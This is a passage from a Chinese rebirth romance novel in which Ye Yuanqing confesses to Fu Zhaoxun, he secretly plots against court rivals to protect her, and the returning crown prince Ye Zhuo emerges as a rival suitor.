她把他紧紧地按住,扯了扯自己身上的那件绣着梨花的粉色衣衫,依旧哽咽着道:“还记得这件衣服吗?前世我们在尸横遍野的城门前相见时穿得就是它。这件衣服是我娘亲带着我去订做的,娘亲说我穿上很好看,但是我却觉得不好看,北郡王攻打皇城时,所有人跑的跑躲的躲,而我和母亲依旧留在将军府里没有走,我在等我的父亲,我的兄长。那日,那日我得知不好的消息蹲在家门口哭泣,你从我家门前经过,却停留了很久。” “后来,你带着人去增援我的父亲,打了胜仗,我和母亲慌慌张张地跑到城门前寻找我的父亲和兄长,临行前,母亲说,让我穿得艳丽一些,图一个吉利,于是我就穿了这件衣服,然后我们在城门前再次相遇,你看向我,你看向我那一眼,我至今都难以忘记。那个眼神包含了太多太多,震撼到了惊慌失措的我,或许就是那一眼,让我的心悸动起来,也头一次知道心跳加速是什么感觉。” 有时候爱情就是来的这么措不及防。 她擦了一把脸上的泪水,要把想说的话一次说完,她继续道:“所以,后来,我知道你很喜欢这件衣服以后就经常穿在身上。可再后来,我厌烦了那样窒息的婚姻生活,也厌烦了所有的粉色衣服,我便再也不会穿给你看。可是,可是我们又重新回到了这里,重新回到了起点,我再一次沦陷了,又走了曾经那条让我满身创伤的路,我死活不改,我依旧相信爱情,我也重新爱上了这件衣服,然后开始每天穿在身上,就像枯萎的花儿突然又活了过来,还开的那么娇艳。” “因为,这是我与敬佩的英雄在尸横遍地的城门前,一眼定情时穿的衣服,它见证了那一眼万年的爱情。” 她的声音不大,但是说的却很用力,尤其最后那一句加重了语气。 “傅朝寻。”她停了一会,又继续道:“前世夫妻七年一团糟,今日好不容易有了点改变,就打算重蹈覆辙吗?或者说,从此以后我们就老死不相往来?如此的话,我是不是该收一收心了?是不是该重新选一条路了?从前世到今生,摆在我眼前的路那么那么多,但是我偏偏就选了一条最难走的,还选了两次。” 她都开始佩服自己了,天生命苦的人,哪怕老天爷追着给幸福,也能死犟死犟的不伸手。 她紧紧地按着他,手都酸了,曾经不曾说过的话好像说也说不完。 想起玉湖游玩那晚医馆大夫与他们说的话,说那对乡下夫妻,不懂夫妻之间如何相处,如何体谅,等到人没了才开口说出那句为时已晚的“喜欢”。 “是,我喜欢你,我应该从城门相遇那日就喜欢上了你。”她不再隐瞒自己的感情,也想潇洒地说出口,无论结果如何,起码不会留有遗憾了。 她又垂下头,情绪平静了不少:“我自认为我以前很喜欢温衍,也认为自己可以与他好一辈子,可是自遇到你以后,我才发现,原来喜欢也是不一样的,那种心跳加速,面红耳赤,日思夜想的喜欢,才是人们口中所说的爱情。你不是也一样吗?也是在那一眼中爱上了我,才向我父亲提出要迎娶我。” 她突然笑了,笑的很苦涩,声音也绵软下来:“世界上哪有那么好又那么神奇的事情,但是好事却落在了我们的头上,让我们又重新把那支离破碎的感情走一遍,这就是缘分,是天注定的缘分。” 是天注定的缘分。 她说完了,也说累了,说完以后,心里轻松多了。 按着他胸口的手背突然被打湿了,天上明明没有下雨。 她慢慢收回双手,依旧垂着头。 安静了很久。 “傅朝寻。”她连说话的力气都没有了,却还是给了自己和他最后一次机会,“我给你七日的时间,七日后你去将军府旁边的巷子里等着我,若是那天我见不到你,我们……” “我们此生再也别见了。” 若还有来世,也别见了。 她说完,四周依旧安静。 她苦涩笑了笑,弯身捡起地上的蝴蝶翅膀,慢慢向路口走去。 到路口的距离不算短,但她觉得那么短,短到不断放慢脚步,却还是走到了头。 街上依旧热闹,抬头看看,只有黑漆漆的夜空,烟花已经停了。 她错过了一场美丽的烟花。 她独自一人走到卖甜点的摊位前,买了玉露团、糖脆饼和酸枣糕,然后站在路边吃了起来。 可能是最近一直都没有吃好吧!现在突然很饿很饿,她吃了一个又一个,吃完玉露团又吃糖脆饼,最后还把酸枣糕吃得干干净净。 “怎么躲在这里偷吃东西?”不知何时,叶元恒站在了她面前。 她捧着空空如也的包装袋子,轻轻回了一句:“饿了。” 是饿了,好饿好饿。 叶元恒看了她一会,然后走到甜品店前,掏出一把银票给店家,买下了店里所有的甜品。 他提着甜品走到她跟前,抓起她的手,走到街边石桌前坐下,把甜品放在桌子上,然后打开来,对她道:“这么多,是不是觉得每一样都很好吃,不过又不知先吃哪一个,但是没关系,哥哥全都给你买来了,你留着慢慢选,慢慢吃,吃开心了才最重要。” 吃开心了才最重要。 她望着眼前各种各样的甜品,一边流着眼泪,一边点着脑袋。 父亲说,人这一生,除了爱情,还有亲情和友情。 一点也没有错。 两个人重新回到队伍中,叶宁看到她,拿着两串糖葫芦跑上来,开心地道:“姐姐,这家糖葫芦特别好吃,我给你挑了一串蜜糖最多的。” 叶元倾的心情还没有缓和过来,她接过叶宁手中的糖葫芦,咬了一口,蜜糖确实很多,也很甜。 她点着头道:“多谢妹妹。” 叶宁嘿嘿一笑:“姐姐怎么突然变得这么客气了。” 叶绍也走上前把一袋糖酪樱桃递给她,笑说:“你和宁儿最爱吃这个,我特意给妹妹买了无核的。” 叶元倾一边道谢,一边接过来。 叶元萧解下身上的氅衣披在她身上,揉着她的脑袋,问她:“要不要去看皮影戏?虽然人多,但是哥哥可以背着你看。” 叶元倾又点点头,不知何时,眼泪又开始在眼眶里打转了。 一群人开开心心地去看皮影戏,叶元萧还像小时候那样背着她。 父亲说的没有错,原来世界上除了爱情,还有那么多浓烈的爱啊! 烟花灭了,胡洞口很黑,夜深以后也有些凉。 傅朝寻一个人在原地站了许久许久,最后拢了拢湿了一片的衣衫,默默地回了家。 亲王府的大门装点的格外喜庆,到处充斥着新年的味道。 卫知搓着冰凉的手在门前等着他,跑上前问道:“公子,您去了哪里?王妃早已把晚饭准备好了,一直在等您。” 等他t?。 多么陌生的词语。 他把手里的一个狐狸面具递给卫知,沉声回道:“我到街上走走。” 卫知接过狐狸面具瞧了瞧,嘿嘿笑道:“这面具挺好看的,公子下次去逛街带上卫知呗。” 傅朝寻抬脚进门,轻轻应了一声。 卫知从身后看着他,总觉得他以前干脆利索的背影变得沉重了,看起来那么疲惫,那么辛酸。 傅朝寻回房换了身衣服,去了前殿。 大殿门前大家正站在一起看亲王府放的烟花。 亲王府的烟花比街上的还要美,可是二十几年来,他都是一个人躲在西边房门前看的。 七岁时,有人告诉他,闭上眼睛,心里默念着一个人,再睁开眼睛看烟花,就能看到那个人的面容。 他当时试了一次又一次,却怎么也看不到娘亲。 “寻儿。”父亲热情地叫他。 大哥傅呈延也迎了上来,笑说:“朝寻,快进屋,大家都在等你用饭。” 以前每年,无论大年小年,他都没有进过一次这个殿,父亲和兄长也从未这样热情地叫过他。 王妃也满面笑容地看着他。 好像,这次醒来之后,他的世界开始变得不真实了,也不知是他产生了幻觉,还是这个世界突然变了。 他随着大家进了殿,满满一大桌子的小年饭冒着腾腾热气。 父亲先落了座,然后招手让他和傅呈延坐在旁边。 他坐在了父亲的左边,大哥亲自给他布了碗筷。 以前他不知道他们年夜饭是如何吃的,他每次站在院中看着禁闭的殿门,都能听到热闹的欢笑声。 今天的气氛有点不一样,大家坐下后均未说话。 小厮给大家斟满了酒,父亲重新倒了一杯茶,把他的酒换成了茶。 从进院到现在,父亲做完了二三十年都不曾对他做的事情。 他好像得到了点父爱,又那么的不确定。 大哥给他盛了一碗粥,笑着说:“朝寻身体还没有完全恢复好,多喝点粥。” 他捧住碗,手上暖暖的,喝了一口,感觉粥也比以前甜了。 “寻儿。”父亲叫他,“你休养了一个多月,身体虽然恢复的很好,但还是不要随意走动,再多休息几日,等身体彻底好了再去上朝,大寺那边也别着急管,留下病根就不好了,皇上那边我已经说过了,皇上也派人暂时接管了大寺,等你回去以后还会让你继续掌管。” 他说完,去看他的脸色,给他夹了一道菜,继续道:“最近你大哥在忙户部的事,有些地区的土地分割和赋税问题很是复杂,你闲了可以帮帮他。” 以前大哥的任何事情父亲都不会让他插手,甚至连打听都不行。 他应了一声,未多言。 王妃也把他爱吃的青笋端到离他近一些的地方,笑说:“你二哥天天惦记着你,总是问我你何时能好,何时能见到你,他还到处打听有没有神医可以为你治病,他呀!真是满心里都是你这个弟弟。” 神医。 连父亲听了都忍不住瞥她一眼。 傅朝寻看向那个笑的一脸尴尬,为他寻找神医的二哥,感谢道:“多谢二哥关心。” 傅峥临回道:“三弟不必客气。” 房间里又安静了下来,他也默默地吃着东西,很多饭菜是他以前在亲王府里不曾吃到的,现在可以尽情地吃个够。 这顿饭是在尴尬中结束的。 他带着满身的疲惫回了自己的院子,站在院门前,又不自觉地看向隔壁的宜湘居,前世的种种恍如昨日。 他洗漱完到书房看了一会书,卫知给他端了茶过来,说:“公子,您让我查的事已经查明了,上次咱们找到的江不讳根本就不存在,只有一位阿婆是真的,那阿婆说,是有人找到她,让她假扮江不讳的祖母,还教给她如何骗人,目的是培养一个江不讳出来,然后接近叶元倾。他们具体要做什么不清楚,但是能看出来好像在密谋什么大事。我有点没明白。” 卫知确实不明白,这牵扯到了前世的诸多复杂的事情。 若是这个江不讳真的不存在,那么前世后来接近叶元倾的江不讳就另有他人,很可能就是温衍,很可能温衍真的没有死,然后依江不讳的身份继续活在世上,继续纠缠叶元倾。 但是他那时候见过江不讳,从言行举止来看虽然很像温衍,但是又不像温衍,要么他是装的,要么他丧失了以前的记忆。 也有可能,温衍也是别人布局的受害者。 太复杂了,每每想起此事就让他头疼不已,还好温衍的事情已经结束了,他再也不会回京城了,也不会纠缠叶元倾,江不讳也不会再出现,前世那样的事情也不会再发生。 如此,解决了温衍,解决了温家,就又杜绝了一些麻烦。 只是等,着他的大麻烦还没有解决,他希望快点解决,等解决了,应该就可以过上安稳的生活了吧! 他伸手揉着发涨的眉眼,头疼的厉害。 卫知观察了一会他的神色,换了个话题问:“公子今日可以有见到她?” 她,叶元倾。 他听到这个字轻颤了一下眼睫,回忆今晚在胡洞里她说的那些话,心疼的难以呼吸,她道出了她的所有委屈和对他的爱意,而他却不能给她一个回应。 他看着她伤心落泪,想要把她搂在怀里的冲动一次次地动摇着他好不容易才下定的决心。 他不想让她涉险,他往后走的每一步都可能更加危险,他想一个人尽快地把事情解决,他希望他们再在一起的时候他周围已经没有了危险。 经过这次悬崖事件,让他怕了,彻底怕了,他的每一次接近,都在伤害她。 看着她被温衍带到悬崖边上,看着她只要动一动就可能掉下去的柔弱身子,那一刻,他比任何时候都无助,都惊慌。 那个画面再也无法从他脑海里挥散,只要一睡觉,只要一闭上眼睛,就不断地闪现。 他有点扛不住,真的扛不住,也真的害怕有人去害她。 元倾,再等一等。 春天马上就到了。 卫知见他又沉默下来,开始后悔问这个问题,他一定是见到了,不然回来的时候衣服怎么会湿一大片,也不知是他自己的眼泪,还是叶元倾的眼泪。 过了一会,他才沉声开口,交代道:“你明日把姜叙约出来,这人阴险狡诈,已经开始对叶元萧下手,我们第一步,先解决了他。也把叶绍现在管的京北码头所有事项调查清楚告诉我,我想办法把管辖权弄到手。” 他又沉默了一会,微微蹙起眉头,问:“叶卓去了禹国以后,可有回来过?” 卫知回道:“没有,他现在做了禹国太子。不过……” 卫知犹豫着要不要说。 “说。” “他……经常给叶元倾写信,前几日,还往将军府送了一大批昂贵的绫罗绸缎和玉器。” 写信。 第56章 第 56 章 以后睡在一起,她会害怕…… 这几日没有那么冷了, 屋里也暖和了不少。 卫知看了看傅朝寻的神色,一直欲言又止,最后还是忍住了。 叶元萧督稽司出了事, 江叙制造了一些假证据上报给皇上, 皇上欲要捉拿叶元萧,而公子就像未卜先知一样去了皇宫给叶元萧澄清。 然而,江叙指控公子与叶元倾有特殊关系包庇叶元萧,还反咬公子一口,说他有越举之心,且在前朝公主傅青的指使下,勾结逆党, 蓄意谋反。 这可是天大的罪行。 而皇上,在除掉温家之后, 开始卸磨杀驴,当场质问公子是否和叶家勾结准备造反,还欲要把叶元倾抓到皇宫里审问。 迫不得已,公子为了不让叶家深陷火海, 只好对皇上说,他与叶元倾没有任何关系, 他替叶元萧作证也没有任何私心,更没有和傅青勾结蓄意谋反。 但是皇帝凭借公子在傅青膝下寄养一年,为此起了疑心, 开始暗自调查,派人跟踪。 所以, 公子醒来后的这半个月,一直处在痛苦的忍耐中,除了应付皇帝派来跟踪的人, 还要装作若无其事地留在亲王府里接近傅呈延,然后想办法夺回他手中的所有权力,去阻断他和王爷密谋的计划。 姜家那边也紧紧盯着公子,只要公子再与叶家人员来往,就会继续揪着他与前朝公主蓄意造反一事不放。颠倒黑白,栽赃陷害,这是官场上常有的事,一不小心就可能全员掉脑袋,所以t?,公子必须谨慎再谨慎。 公子太难了,也太难熬了,当看到他胸前那片用泪浸湿的衣衫时,卫知就知道有多难,有多危险。 但是他相信公子能挺得住,叶元倾也能挺得住,只要把姜家除掉,只要叶家脱离危险,以后就能轻松很多。 他希望叶元倾能解公子,能够再等一等他。 “卫知。”傅朝寻站起身,向卧房走去,交代道:“你再去放出点消息,就说前朝皇帝遗诏可能在亲王府某个人手中,现在父亲和大哥他们已经上钩了,再加把劲,把进度推快一些,也告诉太保大人,开始行动。” 卫知紧跟着他,回道:“好的公子,我一会就吩咐下去。” 然后又问:“那个梁修怎么办?大学士和大公子都找过他,应该都想收到自己门下,但是又不知大学士和大公子是不是一伙的,不过,梁修这个人确实有才能,写的文章那叫一个绝啊!只可惜他和太傅大人的女儿姜妍暧昧不清,太可惜了,这以后要是成为姜家的人可得了。” 梁修,前世一个叱咤风云的顶级人物,单单出一个改革制度就挽救了陵国十几年的损失。 这样一个人,自然不能为姜家所用。 他走到卧房,脱着外衣,回道:“回头你把他约出来,我去会一会他,这样的人才,我会想办法留住他。” 卫知接过他手中的衣服,点着头。 傅朝寻把里衣脱了一半,突然停了下来,然后又穿了起来。 卫知问他:“公子,怎么不脱了?穿着睡不舒服。” 傅朝寻坐在床边,开始脱鞋子,回道:“伤口太难看了。” 他又苦涩一笑:“她今天摸了一下,一定吓到了,我身上有太多伤,总是让她担心,以后我要像她说的那样,爱惜一点自己的身子,不然以后……” 以后睡在一起,她会害怕的。 摸了一下?卫知惊喜地看向他,意思是,今天他不仅见到了叶元倾,还被她摸了一下? 卫知心情一下子好起来了,笑嘿嘿地道:“公子莫要担心,卫知给您涂的药里都带着修复伤疤的成分,太医也说了,只要照顾好,就不会留太大的伤疤。” 只是,他当时怎么会下得去手啊!还真的给了自己两剑,假装一下糊弄糊弄不就行了,哪有这样拼命的人。 卫知心疼的在心里叹气。 这爱情,太伤人了,还好温衍走了。 只是,好像又来了一个叶卓。 叶卓回陵国的消息传遍了整个京城,浩浩荡荡的队伍带着排成一条长街的礼品走在大街上,引来众多围观群众。 谁也没有想到,叶家养了多年的二儿子竟然是禹国失散多年的皇子,如今他一回禹国就做了太子,着实让人羡慕,叶家当真养了一只金凤凰。 太师府自一听说叶卓要回陵国探望,早早就做好了准备,不仅把家里装修了一番,还在门前铺了很长很长的红毯。 今日一大早,叶家上上下下所有人都到太师府门前恭候着,恭候着这位一跃成龙的皇太子。 叶宁一整夜都未睡好,天不亮就跑去找叶元倾,还抱了一大堆衣服让叶元倾帮她选,她换了一件又一件,最后选定了叶卓最喜欢的白色。 叶元倾没有太多心思打扮,只是简简单单穿了一件寻常衣服,秀发也只是简单梳起。 如今她抽屉里已经攒了十几封叶卓写给她的信,但她一封都未拆开看。 今日天气很好,碧空如洗,万里无云。 叶元倾与大家站在一起,眼神呆滞地盯着地面,总是心不在焉。 今日是第二天了,傅朝寻没有出现。 也不知他这一日在做什么,伤口还疼不疼,有没有好好吃饭。他腰部的伤口那么大,一定一定很疼吧!他是怎么熬过来的呢?现在每天都在想什么? 他今日没有出现,也许明日,后日,或者永远都不会出现吧! 要是他下定决心了,她想她咬咬牙应该是能接受的,大不了难过一段时间,等时间久了就好了。 她都已经有经验了,七年不都熬过来了吗?还怕什么。 他有他的不得已,何苦非要再捆绑在一起,一个人的痛有五十,两个人的痛就有一百,没必要凑在一起去承受一百的痛苦。 他因为温衍差点丧命,能活过来,就谢天谢地了。 那日陪他一起上山的侍卫说,傅朝寻为了让温衍不对她做危险的事情,在自己身上硬生生地捅了两剑。 他还是那么傻,干什么都那么拼命。 她想了一整夜,也很体谅他,若是这样就能结束苦难,就算永世不见也没有关系。 随着一阵踏踏的马蹄声,惊醒了沉思中的她。 她抬起头,望向路那头浩浩荡荡的队伍,为首的是一袭金色衣袍气宇轩昂的叶卓。 日光洒在他更加俊郎的面容上,给本就不凡的气质又增添了几分矜贵。 队伍越来越近,他一眼就看到了站在人群中的叶元倾,从那高大的白马之上,垂眼望向只是月余不见就憔悴不堪的人儿,心中满是疼惜。 众人弯身行礼,叶元倾也弯下身来。 马儿停稳后他翻身下马,目光还停留在她的身上,他收了一下思绪,走到傅青跟前亲自扶她起身,然后叫了一声:“祖母。” 傅青应了一声,看着威风凛凛,满面红光的他,激动地抓紧了他的手,叶卓虽然不是叶家亲生的孩子,但也是她看着长大的,他自幼乖巧懂事,很是让人喜欢。 叶卓又扶起叶展连和叶展桡,然后抱住养母江凤激动地叫了一声“娘”。 江凤含着眼泪抱紧他,连连应道:“卓儿!卓儿!” 太师府一家子都红了眼眶,几个兄弟也上前与他拥抱。 叶宁一直默默地站在一旁,小脸早就哭花了。 叶卓走到她跟前,用袖子帮她擦了擦眼泪,然后捏了捏她的小脸,笑问道:“宁儿,有没有想哥哥?” 叶宁连连点头,实在忍不住扑进了他的怀里,哭着说:“宁儿好想你,天天都想你,想的吃不下饭,睡不着觉。” 叶卓轻拍着她的后背安抚着她,说:“哥哥这次回来会在家里多住几日,回禹国的时候,我带你一起去,禹国有很多好吃的好玩的,妹妹一定会非常喜欢。” 叶宁点着头,把眼泪都蹭在了他用金线钩织的金贵衣衫上。 叶卓松开她,走到叶元倾跟前。 叶元倾直起身看向他,轻轻叫了一声:“卓哥哥。” 卓哥哥。 为了这一声“卓哥哥”,他日夜兼程,千里迢迢赶来,看来是值得的。 “妹妹。”他也轻轻叫了一声。 两个人面对面站着,日光落在她憔悴的小脸上,就像照着一朵将要枯萎的花儿。 他很是心疼地红了眼眶,垂首掩饰了一下复杂的心情。 他给她写的信她一定没有看吧!不然怎么一封都不回。 两个人默默站了一会,似乎都能猜出彼此在想些什么。 叶展连邀请大家进府。 叶卓带来了很多很多金贵的礼品,还有很多陵国没有的稀奇宝贝。 叶卓给每个人都带了礼物,每一样都是根据大家的爱好精挑细选的。 现在,即便他已经做了太子,身上那种很好亲近的气质依旧未减分毫,他与大家有说有笑,还像在太师府的时候一样。 叶宁看叶卓的眼神变得不一样了,那种激动,欣喜,浓浓的爱意藏也藏不住,可能连她自己都没有发现,她对叶卓的感情早已超出了亲情。 她不像以前那样生扑过去抱着他一声声喊着“二哥哥”,而是每看他一眼,脸颊就更红一点。 而叶卓,眼睛总是瞟向叶元倾,看着她无精打采地坐着,看着她时不时地叹一口气,心里酸酸的,她好像不会开心了。 应该是遇到很伤心的事吧!应该也是为了傅朝寻。 大家都留在太师府用的饭,很难得两家人坐在一起其乐融融地吃一顿饭。 一场家宴下来,一些各怀心思的人都被祖母傅青看了出来,她早就知道叶卓喜欢叶元倾,从叶元倾刚及笄那年她就看出来了。 叶卓对叶元倾的感情不比温衍的浅,只是他藏的深。 今非昔比,谁承想他一夜之间变成了蛟龙,今后还可能是统领整个禹国的巨龙。 他有颜有才华,又有情义,不输叶家任何一个男儿郎。 只可惜,叶元倾心有所属,明知山有虎偏向虎山行,还死犟死犟的。 大伙用完饭去后花园散步,叶元倾默默地走在叶卓和叶宁一旁,听着他们聊禹国的事t?情,那里好像有很多好吃的好玩的,听得叶宁恨不得立马飞过去看看。 三个人走到一个亭子里坐下,叶宁托腮望着叶卓,越看越觉得他英俊帅气,她以前怎么没有发现,他这么好看呢!比傅峥临那个畜生还要好看。 叶卓好似发现了叶宁不同以往的目光,总是有意无意躲避她的眼神。 “妹妹!祖母找你。”这时候,叶绍过来叫叶宁。 “好的。”叶宁立马起身跑了过去。 亭子里只剩叶元倾和叶卓二人,叶元倾总是提不起精神,也没有话要与叶卓说。 “妹妹。”叶卓率先开口,轻声问她:“等我回禹国的时候,你要不要跟我一起回去,就当是散散心。” 他知道她最近都发生了何事,也知道温衍把她带到悬崖边上差点让她丧命,还知道傅朝寻因为受伤昏迷了很久。 最近她身上经历的事情太多,这么柔弱的一个人,怎么能承受得住呢! 叶元倾细细思考了一下,回道:“卓哥哥,我过几日再回答你。” 等她和傅朝寻有了最终结果再回答他,若是她和傅朝寻真的散了,她会跟叶卓去一趟禹国,看看那里的风景,散散心,这样忘得就快了。 他猜出她在等什么,他答应的爽快:“好,我等妹妹。” 他又问:“最近生病了吗?怎么瘦了这么多?还总是无精打采的。” 她回道:“是生了点病。” 生了心病。 他关心道:“妹妹以后一定要多注意身体,有了健康的身体才能去做想做的事情,记得你以前特别乐观,不会把不开心的事情放进心里,也总能很快地调整自己的心态。这个世界上,没有比自己更重要的了,只有先爱自己,才能得到更多的爱。” 他还和以前一样,总会说一些道给你听,还特别有耐心。 叶元倾终是笑了,回道:“多谢卓哥哥开导,我会调整好的。” 然后问他:“你在禹国怎么样?做太子应该挺辛苦吧!需要忙很多事情。” 他见她笑了,也跟着笑了,回道:“是有点忙,一开始很不适应,尤其禹国的饭菜,我一点也吃不惯,还好父皇疼我,每天都鼓励我,慢慢就适应了下来,不过,我最想念的,还是二婶炸的小花鱼。” “待会儿你去将军府,我让娘亲炸给你吃。” “好。” 他从衣袖里掏出一个小盒子,打开来给她看,轻声说:“这是用金蚕丝织的手绢,质地特别好,你肤质比较嫩,最适合这种细腻一些的料子,冬暖夏凉,拿在手里很舒服。” 是一条绣着海棠花的白色手绢,质地莹润,好看又精致。 她微微一笑,接了过来,问他:“这么好看的手绢你可有给宁妹妹带了一条?” 他回道:“带了,怎么能少得了宁儿的。” 若是只送给她,她肯定不会要。 “那好,我就收下了,多谢卓哥哥。”她把手绢收了起来,然后问他:“这次回来,你要进宫面圣吗?毕竟你现在代表着整个禹国。” 叶卓见她把手绢收好,终是放心了,一路上都在担心她收不收,他回道:“要进宫一趟,父皇有事交代了我。” “嗯。”叶元倾应了一声,没有话与他说了。 “御林园妹妹去了吗?”叶卓问她。 “还没有,一直没有时间。” “要不然我们一起去?我现在进去已经不需要门票了,我陪妹妹进去逛逛。”他提议道。 叶元倾犹豫了片刻,说:“等过几天吧!到时候卓哥哥想办法带上宁妹妹,她一定也想去。” “好。” 叶卓虽然很想与她有独处的机会,但他知道,依她的性子,决然不能操之过急,否则她会很有警觉性地躲开。 两个人又坐了一会,叶卓是个非常会察言观色的人,也从来不会冷场子,一直都有话与你说,有时候说到对方神色有了变化,还能及时地圆回来。 与这样的人相处其实是很轻松的,起码精神上很放松,也不用去思考太多问题,他会提前为你准备好一切,甚至你想做什么,他都能通过你一个眼神判断出来。 但是,这么好的人对于叶元倾来说,可以做朋友,可以做亲人,但是做不了恋人,因为天生犟种的她,老天爷已经把幸福喂到嘴里了,她还能吐出来。 叶元倾先回的将军府,她在太师府里坐不住,总想回家看一看。 她站在门前,望着空空如也的巷子口,又失落起来。 她让管家买了两盏灯笼,挂在巷子里,天黑以后,巷子里若是有人也能看清了。 她回房躺了一会儿,总觉得全身没有一点力气,然后起身走到梳妆台前,拿起傅朝寻送给她的发簪,戴在头上,对着镜子照了照,她还是觉得这把发簪好看,他有他自己独特的眼光,或许只有对的人才能驾驭得了吧! 翌日,一大早叶宁就来叫她,说要带叶卓到街上走走,叶卓很怀念街上几家店的饭菜,想去回味一下。 叶元倾简单装扮一番就出了门。 三个人坐上去街上的马车,叶卓一眼就看到了叶元倾头上戴的发簪。 发簪一点也不好,但是她却经常戴。 “我们先去吃什么?”叶宁兴冲冲地问。 叶卓看了一眼叶元倾,回道:“我想吃玉面楼的糖蟹和冷蟾儿羹,不如先去那里吃。” 叶宁点点头:“好啊好啊!卓哥哥想吃什么都成,我们都会带你去。” 叶卓宠溺地揉了揉她的脑袋,然后问她:“你告诉哥哥,我不在的这段时间,有没有见过傅峥临?他有没有纠缠过你?” 叶宁嘿嘿一笑道:“没有,一次都没有见过他,我早就把他忘记了。” 叶卓有些不相信:“真的忘记了?就你这点自制力能控制的住?” 叶宁扬了扬小脸道:“怎么不能,我现在又有了喜欢的人。” 又有了喜欢的人。 她话一出,马车里突然安静了。 若是以往,叶卓绝对会问她那人是谁,甚至还会把对方的族谱扒出来查,但是他今天却没有,只是笑了笑道:“以后长个心眼。” 叶宁点着头,观察着他的神色,也没再多言。 三人到了玉面楼,刚一下车叶宁就被旁边卖油纸伞的吸引住了,各种各样的油纸伞看得人眼花缭乱,每一把都很精致很漂亮。 叶宁一下挑了五把,全是她喜欢的淡绿色。 叶元倾也挑了一把,是一把梨花图案的粉色雨伞,上面还点缀着很多珍珠和彩色纱带。 叶卓把伞打开,撑在她的头上,帮她挡了一下落在肩头的阳光。 风吹来,彩纱飘起,一缕阳光透过纱带落在她白嫩的小脸上,光影灼灼,看起来是那么的美,那么的勾人。 叶卓一时看得有些痴。 这时候,只听马蹄声响起,不远处有一批人马过来。 叶元倾转头看去,不禁愣住,透过朦朦胧胧的彩色纱带,看到傅朝寻正骑着一匹高大的黑马而来。 他穿了一袭绣着金色祥云的黑色锦衣,高高梳着发髻,手中拿着一把长剑,身后跟了十几名身穿铠甲的官兵。 街边众人见状开始避让行礼,纷纷猜测街上发生了何事,能惊动侯爷。 叶元倾愣在原地看着他,看着他骑着马一点点驶来,有些紧张地抓紧了衣袖。 高大的骏马停在了玉面楼门前,他透过稀薄的阳光低眸看向油纸伞下的人儿,虽是几米的距离,却像近在咫尺一般。 彩纱飘动,二人目光交汇在一起,好似四周突然寂静无声,独留双方眼睛里那一抹藏也藏不住的温情。 哪怕只是一眼,内心就已如熊熊烈火在烧,凉风吹来时,则又清醒地移开目光,断掉即将翻涌而出的情愫。 叶卓看到眼前的人儿突然愣住,他也顺着她的目光看去,看向那个如同钢铁一样缕缕挫败还能不断站起来的男人。 其实他也很佩服傅朝寻,佩服他就像烧不尽的野草一样疯狂生长。 这样一个情敌,若是你没有强大的心素质,真的很难支撑到底,就连温衍那样优秀又有激情的人都扛不住,何况旁人。 他似乎察觉到了他的目光,也低眸看来,深邃的眼眸里好似冒着像刀子一样的寒光,只是一眼就割的人皮肉生疼。 他在用眼神警告他:不许给叶元倾打伞。 而他给叶元倾打伞的手不争气地抖了一下。 即便他见多了各种形形色色的人,时下在傅朝寻面前,仍是露怯了。 马队停在了玉面楼门前,店家跑出来给傅朝寻行了一个大礼t?,看了看他带来的官兵,擦了擦冷汗,问道:“不知侯爷大驾光临有何贵干?” 傅朝寻翻身下马,沉声回道:“此楼具有走私犯罪的嫌疑,我过来调查调查。 是来查案的。 店家急忙请他进屋。 “慢着。” 叶卓突然走了过来,很有礼貌地问店家:“请问,侯爷查案是否影响营业吃饭?我好不容易跑来陵国想吃你家的饭菜,难不成要跑一场空?” 店家打量他:“您是?” “他是禹国太子。”叶宁介绍道。 禹国太子? 店家瞪了瞪眼,急忙弯身行了一礼,然后有些为难地看向傅朝寻,不知要不要招待这位大客官。 他可是禹国太子呀! 但他也是陵国侯爷呀! 叶卓扬唇笑了笑,看向傅朝寻,颔首一礼道:“有幸在这里见到侯爷,多日不见,侯爷愈发英俊了,敢问侯爷,我们在此用饭不打扰你查案吧!” 傅朝寻没有立即回答,看了一眼站在远处一动不动的叶元倾。 叶卓也转身看向她,向她招了招手,道:“妹妹!快过来,侯爷查案,应该不影响我们吃饭。” 第57章 第 57 章 “我,赖上你了。”…… 今日天气格外地好, 因为年末的缘故,街上人也比较多,自从侯爷来了以后, 众人纷纷退避到一旁给他让路, 但是又听说禹国太子在此之后,更是惊诧不已。 这酒楼里出了何事,竟然惊动了两位大人物?大家议论纷纷,看着这两位天之骄子,均是被他们的颜值和气质所吸引,有的已经开始讨论起哪个更好看,哪个更勾人。 叶元倾手中握着油纸伞, 僵挺地站在原地,她怎么也没有想到会在这里遇到傅朝寻, 他带了这么多官兵过来,定是因为有事务在身,只是这种相遇的几率,不得不说还是有一定缘分在的。 他今日看起来精神很多, 腰板永远都挺得笔直,只是面上比以前冷漠了一些, 手中还拿着剑,有点让人不敢靠近。 他永远都是如此,任何时候, 哪怕遍体鳞伤,在世人面前, 永远都是一副威风凌凌气宇轩昂的模样,完全看不出一丁点虚弱之态。 这样一个人,无论是心素质, 还是身体素质,都太强悍了。 只是,她那晚说的话,他有认真思考吗?会不会去将军府找她? 纵使她在心里纠结了一万遍,试想过一万遍与他永远断绝关系的场面,当下再见到他,好像全都白想了。 他还是那么吸引她。 叶卓见她呆愣着不动,又叫了一声。 她往前走了几步又停下,见他用余光瞟向自己,又继续向前走去。 他见她过来,大步往酒楼里走。 叶卓也带着她和叶宁进了酒楼,然后寻了位置坐下。 时下酒楼里还很热闹,认识傅朝寻的人看到他均是站起身行礼。 傅朝寻在店里巡视了一圈,又到楼上检查了一圈,最后带了两名官兵坐在了离叶元倾不远的位置。 店家跑上前来,问道:“侯爷,查案辛苦,先吃了饭再查,您想吃什么?我马上让厨子去给您做。” 傅朝寻拿着菜单看了几眼,要了几个菜。 一旁桌的叶卓有些不乐意,皱着眉头问店家:“难道不该先来后到吗?侯爷一进屋先去查案,并未落座,我们一进屋就落了座,店家为何一直不过来让我们点菜?” 按说,太子大于侯爷,是得先伺候好太子,可是侯爷来查案,若是怠慢了他,随便按一个罪行,酒楼里可吃不消。 店家擦着冷汗给叶卓行礼道歉:“太子实在不好意思,刚才店里的伙计只顾着配合侯爷查案了,未能照顾到您,您吃什么?我现在就帮您点上。” 叶卓见他吓得不轻,也没有为难他,接过菜单,点了几道叶元倾和叶宁最爱吃的菜。 店家跑去准备饭菜,让店里的伙计打起十二分精神招待几位客人。 叶元倾坐的位置正面相傅朝寻,两个人随便一抬头就能看到对方,好几次二人都有意无意地对视上。 叶卓见叶元倾总是瞟向隔壁桌,对叶宁道:“妹妹,你坐在那里风大,我们两个换一下位置。” 叶宁急忙站起身:“好的卓哥哥。” 